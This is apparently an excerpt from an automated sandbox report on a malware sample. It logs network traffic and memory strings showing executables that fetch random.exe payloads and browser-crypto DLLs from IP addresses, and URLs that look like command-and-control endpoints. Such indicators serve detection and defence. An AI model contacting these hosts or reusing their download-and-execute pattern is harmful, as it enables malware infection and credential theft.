Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=wJ6y2R6839D6WeGM1732956325 HTTP/1.1Host: home.twentykx20pt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000003.2922446381.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922621067.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2921358360.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000013.00000003.2922446381.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922621067.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2921358360.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.3164298825.00007D0C002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentykx20pt.top
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: twentykx20pt.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.css
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.jpg
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/2
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp, adebfeb535.exe, 0000000F.00000002.3276967184.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub%Yzj
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub3
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub5Y
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/ows
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2_
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exef_k
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeZ
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exehb:
Source: file.exe, 00000000.00000002.2130184923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllI
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllM
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllb
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllu
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/O
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ
Source: file.exe, 00000000.00000002.2150479911.00000000234C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
